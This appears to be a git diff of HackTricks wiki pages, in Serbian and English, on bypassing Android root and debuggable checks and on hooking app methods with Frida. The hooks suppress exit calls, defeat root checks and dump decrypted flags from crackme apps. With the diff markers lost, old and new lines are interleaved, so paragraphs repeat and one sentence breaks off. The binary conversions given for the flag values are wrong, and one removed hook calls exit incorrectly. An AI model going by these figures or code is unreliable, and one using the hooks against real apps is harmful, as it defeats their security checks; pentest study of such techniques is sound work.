* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Bypass-ovanje provere root-a i debugovanja**
# **Zaobilaženje root i debuggeable provere**
Ova sekcija posta je sažetak posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Koraci za omogućavanje debugovanja aplikacije i zaobilaženje provera
## Koraci za pravljenje Android aplikacije debuggeable i zaobilaženje provera
### **Omogućavanje debugovanja aplikacije**
### **Pravljenje aplikacije debuggeable**
Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
1. **Dekompajliranje APK-a:**
- Koristite APK-GUI alat za dekompajliranje APK-a.
- U fajlu _android-manifest_ unesite `android:debuggable=true` da biste omogućili režim debugovanja.
- Rekompajlirajte, potpišite i zipalign-ujte izmenjenu aplikaciju.
1. **Dekompajlirajte APK:**
- Iskoristite APK-GUI alat za dekompajliranje APK-a.
- U _android-manifest_ datoteci, dodajte `android:debuggable=true` da omogućite režim debagovanja.
- Ponovo kompajlirajte, potpišite i zipalign-ujte izmenjenu aplikaciju.
2. **Instaliranje izmenjene aplikacije:**
- Koristite komandu: `adb install <ime_aplikacije>`.
2. **Instalirajte izmenjenu aplikaciju:**
- Koristite komandu: `adb install <application_name>`.
3. **Dobijanje imena paketa:**
- Izvršite `adb shell pm list packages 3` da biste dobili listu aplikacija trećih strana i pronašli ime paketa.
3. **Preuzmite ime paketa:**
- Izvršite `adb shell pm list packages 3` da biste naveli aplikacije trećih strana i pronašli ime paketa.
4. **Postavljanje aplikacije da čeka povezivanje sa debugger-om:**
- Komanda: `adb shell am setup-debug-app w <ime_paketa>`.
- **Napomena:** Ovu komandu treba pokrenuti svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka debugger.
- Za trajnost, koristite `adb shell am setup-debug-app w -persistent <ime_paketa>`.
- Da biste uklonili sve zastavice, koristite `adb shell am clear-debug-app <ime_paketa>`.
4. **Postavite aplikaciju da čeka na vezu sa debagerom:**
- Komanda: `adb shell am setup-debug-app w <package_name>`.
- **Napomena:** Ova komanda mora biti pokrenuta svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka na debager.
- Za trajnost, koristite `adb shell am setup-debug-app w -persistent <package_name>`.
- Da biste uklonili sve oznake, koristite `adb shell am clear-debug-app <package_name>`.
5. **Priprema za debugovanje u Android Studiju:**
- U Android Studiju idite na _File -> Open Profile or APK_.
5. **Pripremite se za debagovanje u Android Studiju:**
- Idite u Android Studio na _File -> Open Profile or APK_.
- Otvorite rekompajlirani APK.
6. **Postavljanje tačaka prekida u ključnim Java fajlovima:**
- Postavite tačke prekida u `MainActivity.java` (posebno u metodi `onCreate`), `b.java` i `ContextWrapper.java`.
6. **Postavite prekidne tačke u ključnim Java datotekama:**
- Postavite prekidne tačke u `MainActivity.java` (specifično u `onCreate` metodi), `b.java`, i `ContextWrapper.java`.
### **Zaobilaženje provera**
Aplikacija će na određenim mestima proveravati da li je moguće debugovanje i takođe će proveriti postojanje binarnih fajlova koji ukazuju na root-ovani uređaj. Debugger se može koristiti za izmenu informacija o aplikaciji, uklanjanje bita za debugovanje i izmenu imena traženih binarnih fajlova kako bi se zaobišle ove provere.
Aplikacija će u određenim trenucima proveravati da li je debuggable i takođe će proveravati binarne datoteke koje ukazuju na uređaj sa root-om. Debager se može koristiti za modifikaciju informacija o aplikaciji, uklanjanje debuggable bita i promenu imena pretraživanih binarnih datoteka kako bi se zaobišle ove provere.
Za proveru debugovanja:
Za debuggable proveru:
1. **Izmena postavki zastavica:**
- U odeljku sa promenljivama konzole debugger-a, idite na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
1. **Izmenite postavke oznaka:**
- U sekciji varijabli konzole debagera, idite na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Napomena:** Binarna reprezentacija `flags = 814267974` je `11000011100111011110`, što ukazuje da je "Flag_debuggable" aktivan.
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Ovi koraci zajedno osiguravaju da se aplikacija može debugovati i da se određene sigurnosne provere mogu zaobići korišćenjem debugger-a, što omogućava dublju analizu ili izmenu ponašanja aplikacije.
Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu zaobići korišćenjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.
Korak 2 uključuje promenu vrednosti zastavice u 814267972, što je binarno predstavljeno kao 110000101101000000100010100.
Korak 2 uključuje promenu vrednosti oznake na 814267972, koja se u binarnom obliku predstavlja kao 110000101101000000100010100.
# **Iskorišćavanje ranjivosti**
# **Eksploatacija ranjivosti**
Prikaz je dat korišćenjem ranjive aplikacije koja sadrži dugme i tekstualno polje. Početno, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" tokom izvršavanja, bez izmene izvornog koda.
Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda.
## **Provera ranjivosti**
- Aplikacija je dekompajlirana korišćenjem `apktool`-a kako bi se pristupilo fajlu `AndroidManifest.xml`.
- Prisustvo `android_debuggable="true"` u AndroidManifest.xml ukazuje da je aplikacija moguća za debugovanje i podložna iskorišćavanju.
- Vredno je napomenuti da se `apktool` koristi samo za proveru statusa debugovanja bez izmene bilo kog koda.
## **Proveravanje ranjivosti**
- Aplikacija je dekompajlirana korišćenjem `apktool` da bi se pristupilo `AndroidManifest.xml` datoteci.
- Prisutnost `android_debuggable="true"` u AndroidManifest.xml ukazuje da je aplikacija debuggable i podložna eksploataciji.
- Vredno je napomenuti da se `apktool` koristi isključivo za proveru statusa debuggable bez izmene bilo kog koda.
## **Priprema postavke**
- Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje `adb jdwp` za identifikaciju portova Dalvik VM-a koji slušaju.
- JDWP (Java Debug Wire Protocol) omogućava debugovanje aplikacije koja se izvršava u VM-u putem izlaganja jedinstvenog porta.
- Bilo je potrebno prosleđivanje porta za daljinsko debugovanje, a zatim povezivanje JDB sa ciljnom aplikacijom.
## **Priprema postavki**
- Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje `adb jdwp` za identifikaciju Dalvik VM portova koji slušaju.
- JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta.
- Port forwarding je bio neophodan za daljinsko debagovanje, nakon čega je JDB povezan na ciljnu aplikaciju.
## **Ubacivanje koda tokom izvršavanja**
- Iskorišćavanje je izvršeno postavljanjem tačaka prekida i kontrolisanjem toka aplikacije.
- Korišćene su komande poput `classes` i `methods <ime_klase>` da bi se otkrila struktura aplikacije.
- Tačka prekida je postavljena na metodu `onClick`, a njeno izvršavanje je kontrolisano.
- Korišćene su komande `locals`, `next` i `set` da bi se pregledali i izmenili lokalne promenljive, posebno promena poruke "Try Again" u "Hacked".
- Izmenjeni kod je izvršen korišćenjem komande `run`, uspešno menjajući izlaz aplikacije u real
## **Injektovanje koda u toku izvršavanja**
- Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije.
- Komande poput `classes` i `methods <class_name>` korišćene su za otkrivanje strukture aplikacije.
- Prekidna tačka je postavljena u `onClick` metodi, a njeno izvršavanje je kontrolisano.
- Komande `locals`, `next`, i `set` korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked".
- Izmenjeni kod je izvršen korišćenjem `run` komande, uspešno menjajući izlaz aplikacije u realnom vremenu.
Ovaj primer je demonstrirao kako se ponašanje debuggable aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije.
## References
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Frida Tutorijal
# Frida Tutorial
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty savet**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**!
**Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Instalacija
## Installation
Instalirajte **frida alate**:
Install **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Preuzmite i instalirajte** na Android uređaju **Frida server** ([Preuzmite najnovije izdanje](https://github.com/frida/frida/releases)).\
Jednolinijska komanda za ponovno pokretanje adb u root režimu, povezivanje s njim, otpremanje frida-servera, davanje izvršnih dozvola i pokretanje u pozadini:
**Preuzmite i instalirajte** u android **frida server** ([Preuzmite najnovije izdanje](https://github.com/frida/frida/releases)).\
Jedna linija za restartovanje adb u root modu, povezivanje na njega, upload frida-server, davanje exec dozvola i pokretanje u pozadini:
{% code overflow="wrap" %}
```bash
@ -41,35 +42,35 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Tutorijali
## Tutorials
### [Tutorijal 1](frida-tutorial-1.md)
### [Tutorial 1](frida-tutorial-1.md)
**Od**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Izvorni kod**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Pratite [link za čitanje](frida-tutorial-1.md).**
**Follow the [link to read it](frida-tutorial-1.md).**
### [Tutorijal 2](frida-tutorial-2.md)
### [Tutorial 2](frida-tutorial-2.md)
**Od**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Delovi 2, 3 i 4)\
**APK-ovi i Izvorni kod**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Delovi 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Pratite [link za čitanje](frida-tutorial-2.md).**
**Follow the[ link to read it.](frida-tutorial-2.md)**
### [Tutorijal 3](owaspuncrackable-1.md)
### [Tutorial 3](owaspuncrackable-1.md)
**Od**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
**Pratite [link za čitanje](owaspuncrackable-1.md).**
**Follow the [link to read it](owaspuncrackable-1.md).**
**Više impresivnih Frida skripti možete pronaći ovde:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Brzi primeri
## Quick Examples
### Pozivanje Frida iz komandne linije
### Calling Frida from command line
```bash
frida-ps -U
@ -82,63 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#frozen so that the instrumentation can occur, and the automatically
#continue execution with our modified code.
```
### Osnovni Python skript
```python
import frida
# Connect to the USB device
device = frida.get_usb_device()
# Attach to the target process
pid = device.spawn(["com.example.app"])
session = device.attach(pid)
# Load the JavaScript code
with open("script.js", "r") as file:
script_code = file.read()
# Create the script
script = session.create_script(script_code)
# Load the script into the target process
script.load()
# Resume the target process
device.resume(pid)
# Keep the script running
input()
```
### Osnovni Python skript
```python
import frida
# Povezivanje sa USB uređajem
device = frida.get_usb_device()
# Povezivanje sa ciljnim procesom
pid = device.spawn(["com.example.app"])
session = device.attach(pid)
# Učitavanje JavaScript koda
with open("script.js", "r") as file:
script_code = file.read()
# Kreiranje skripte
script = session.create_script(script_code)
# Učitavanje skripte u ciljni proces
script.load()
# Nastavak rada ciljnog procesa
device.resume(pid)
# Održavanje rada skripte
input()
```
### Osnovni Python Skript
```python
import frida, sys
@ -149,9 +94,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hakovanje funkcija bez parametara
### Hooking functions without parameters
Hakujte funkciju `a()` klase `sg.vantagepoint.a.c`
Hookujte funkciju `a()` klase `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -161,136 +106,14 @@ return false;
};
});
```
# Frida Tutorial: Hook java `exit()`
U ovom tutorijalu ćemo naučiti kako da hakujemo `exit()` funkciju u Java jeziku koristeći Frida alat.
## Šta je Frida?
Frida je open-source alat koji omogućava dinamičko hakovanje mobilnih aplikacija, desktop aplikacija i operativnih sistema. On pruža mogućnost da se izvršava custom JavaScript kod unutar ciljane aplikacije, omogućavajući tako manipulaciju njenim ponašanjem.
## Instalacija Frida
Da biste instalirali Frida, pratite sledeće korake:
1. Instalirajte Frida CLI (Command Line Interface) koristeći sledeću komandu:
```
$ pip install frida-tools
```
2. Instalirajte Frida server na uređaju na kojem želite da hakujete aplikaciju. Možete preuzeti Frida server sa [zvanične Frida GitHub stranice](https://github.com/frida/frida/releases).
## Hakovanje `exit()` funkcije
Da biste hakovali `exit()` funkciju u Java jeziku, pratite sledeće korake:
1. Pokrenite Frida server na uređaju na kojem se nalazi ciljana aplikacija.
2. Napravite novi fajl sa nazivom `hook.js` i unesite sledeći kod:
```javascript
Java.perform(function() {
var System = Java.use('java.lang.System');
var Runtime = Java.use('java.lang.Runtime');
// Hookujemo exit() funkciju
System.exit.implementation = function() {
console.log('exit() funkcija je pozvana');
// Dodajte svoj custom kod ovde
// Pozivamo originalnu implementaciju exit() funkcije
this.exit();
};
});
```
3. Pokrenite Frida CLI koristeći sledeću komandu:
```
$ frida -U -l hook.js --no-pause -f <ime_aplikacije>
```
Gde `<ime_aplikacije>` predstavlja ime ciljane aplikacije.
4. Frida će se povezati sa ciljanom aplikacijom i izvršiti kod iz `hook.js` fajla. Kada se `exit()` funkcija pozove, Frida će ispisati poruku u konzoli.
5. Dodajte svoj custom kod unutar `exit()` funkcije kako biste manipulisali ponašanjem aplikacije.
## Zaključak
Korišćenjem Frida alata, možete lako hakovati `exit()` funkciju u Java jeziku i manipulisati ponašanjem ciljane aplikacije. Ovaj tutorijal je samo uvod u Frida i njegove mogućnosti.
Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};
```
# Frida Tutorial: Hookovanje `.onStart()` i `.onCreate()` metoda u MainActivity
U ovom tutorijalu ćemo naučiti kako da koristimo Frida alat za hookovanje `.onStart()` i `.onCreate()` metoda u MainActivity klasi Android aplikacije.
## Šta je Frida?
Frida je open-source alat koji omogućava dinamičko hookovanje funkcija u realnom vremenu. To znači da možemo promeniti ponašanje aplikacije tokom izvršavanja, bez potrebe za rekomplajliranjem ili ponovnim pokretanjem aplikacije.
## Priprema
Da bismo mogli da hookujemo metode u Android aplikaciji, prvo moramo instalirati Frida na našem uređaju. Možemo to uraditi pomoću sledeće komande:
```
$ pip install frida-tools
```
Takođe, potrebno je da imamo Android uređaj sa root pristupom ili emulator sa x86 arhitekturom.
## Hookovanje `.onStart()` metoda
Da bismo hookovali `.onStart()` metod u MainActivity klasi, prvo moramo pronaći tačnu putanju do klase i metoda koje želimo da hookujemo. Možemo koristiti sledeći Frida skript:
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.app.MainActivity');
MainActivity.onStart.implementation = function() {
console.log('Metod onStart() je hookovan!');
this.onStart();
};
});
```
## Hookovanje `.onCreate()` metoda
Da bismo hookovali `.onCreate()` metod u MainActivity klasi, možemo koristiti sličan Frida skript kao i za `.onStart()` metod:
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.app.MainActivity');
MainActivity.onCreate.implementation = function() {
console.log('Metod onCreate() je hookovan!');
this.onCreate();
};
});
```
## Pokretanje Frida skripta
Da bismo pokrenuli Frida skript, prvo moramo povezati Frida server sa našim uređajem. To možemo uraditi pomoću sledeće komande:
```
$ adb forward tcp:27042 tcp:27042
```
Zatim, možemo pokrenuti Frida skript koristeći sledeću komandu:
```
$ frida -U -f com.example.app -l script.js --no-pause
```
Gde `com.example.app` predstavlja ime paketa naše Android aplikacije, a `script.js` predstavlja ime Frida skripta koji smo napravili.
## Zaključak
Korišćenje Frida alata za hookovanje `.onStart()` i `.onCreate()` metoda u MainActivity klasi Android aplikacije može biti veoma korisno za analizu i testiranje aplikacija. Frida nam omogućava da promenimo ponašanje aplikacije tokom izvršavanja, što nam daje veću kontrolu i mogućnost da otkrijemo potencijalne ranjivosti ili propuste u bezbednosti aplikacije.
Hook MainActivity `.onStart()` & `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
@ -302,71 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
# Frida Tutorial: Hook android `.onCreate()`
U ovom tutorijalu ćemo naučiti kako da koristimo Frida framework za hakovanje metode `.onCreate()` u Android aplikacijama.
## Šta je Frida?
Frida je open-source framework koji omogućava dinamičko hakovanje mobilnih aplikacija, desktop aplikacija i cloud/SaaS platformi. Koristi se za analizu, testiranje bezbednosti i reverse engineering.
## Priprema
Da biste pratili ovaj tutorijal, potrebno je da imate instaliranu Frida biblioteku na svom uređaju. Možete je instalirati pomoću `pip` komande:
```bash
pip install frida-tools
```
Takođe, potrebno je da imate Android uređaj ili emulator na kojem ćete testirati hakovanje.
## Korak 1: Pokretanje aplikacije
Prvo, pokrenite ciljanu Android aplikaciju na svom uređaju ili emulatoru.
## Korak 2: Povezivanje sa aplikacijom
Koristite `frida-ps` komandu da biste pronašli ID procesa aplikacije koju želite da hakujete:
```bash
frida-ps -U
```
Zatim, povežite se sa aplikacijom koristeći `frida -U -l <script.js> <package_name>` komandu:
```bash
frida -U -l script.js com.example.app
```
## Korak 3: Hakovanje `.onCreate()` metode
U `script.js` fajlu, dodajte sledeći kod:
```javascript
Java.perform(function() {
var targetClass = Java.use('com.example.app.MainActivity');
targetClass.onCreate.implementation = function() {
console.log('Metoda .onCreate() je hakovana!');
this.onCreate();
};
});
```
Ovaj kod koristi Frida API da bi pronašao klasu `MainActivity` u ciljanoj aplikaciji i zamenio implementaciju metode `.onCreate()`. Kada se metoda pozove, ispisuje se poruka u konzoli i zatim se poziva originalna implementacija metode.
## Korak 4: Pokretanje hakovanja
Pokrenite hakovanje koristeći `frida -U -l script.js com.example.app` komandu:
```bash
frida -U -l script.js com.example.app
```
Sada, kada pokrenete ciljanu aplikaciju, videćete poruku "Metoda .onCreate() je hakovana!" u konzoli.
## Zaključak
U ovom tutorijalu smo naučili kako da koristimo Frida framework za hakovanje metode `.onCreate()` u Android aplikacijama. Frida pruža moćne mogućnosti za dinamičko hakovanje i analizu aplikacija, što je od velike koristi pri testiranju bezbednosti i reverse engineeringu.
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
@ -374,9 +133,9 @@ send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Hakovanje funkcija sa parametrima i dobijanje vrednosti
### Hooking functions with parameters and retrieving the value
Hakovanje funkcije za dešifrovanje. Ispisivanje ulaza, pozivanje originalne funkcije za dešifrovanje ulaza i na kraju, ispisivanje čistih podataka:
Hooking funkcije za dekripciju. Ispisati ulaz, pozvati originalnu funkciju za dekripciju ulaza i konačno, ispisati obične podatke:
```javascript
function getString(data){
var ret = "";
@ -401,9 +160,9 @@ send("Decrypted flag: " + flag);
return ret; //[B
};
```
### Hakovanje funkcija i pozivanje istih sa našim unosom
### Hooking functions and calling them with our input
Hakujte funkciju koja prima string i pozovite je sa drugim stringom (sa [ovde](https://11x256.github.io/Frida-hooking-android-part-2/)).
Hook-ujte funkciju koja prima string i pozovite je sa drugim stringom (iz [ovde](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
@ -417,9 +176,9 @@ return ret;
```
### Dobijanje već kreiranog objekta klase
Ako želite da izvučete neki atribut već kreiranog objekta, možete koristiti ovo.
Ako želite da izvučete neki atribut kreiranog objekta, možete koristiti ovo.
U ovom primeru ćete videti kako da dobijete objekat klase my\_activity i kako da pozovete funkciju .secret() koja će ispisati privatni atribut objekta:
U ovom primeru ćete videti kako da dobijete objekat klase my\_activity i kako da pozovete funkciju .secret() koja će odštampati privatni atribut objekta:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity" , {
onMatch : function(instance){ //This function will be called for every instance found by frida
@ -432,26 +191,27 @@ onComplete:function(){}
## Ostali Frida tutorijali
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
* [Deo 1 napredne upotrebe Frida blog serije: IOS enkripcijske biblioteke](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
* [Deo 1 serije blogova o naprednoj upotrebi Frida: IOS biblioteke za enkripciju](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet za bug bounty**: **prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**!
**Savjet za bug bounty**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite zarađivati nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
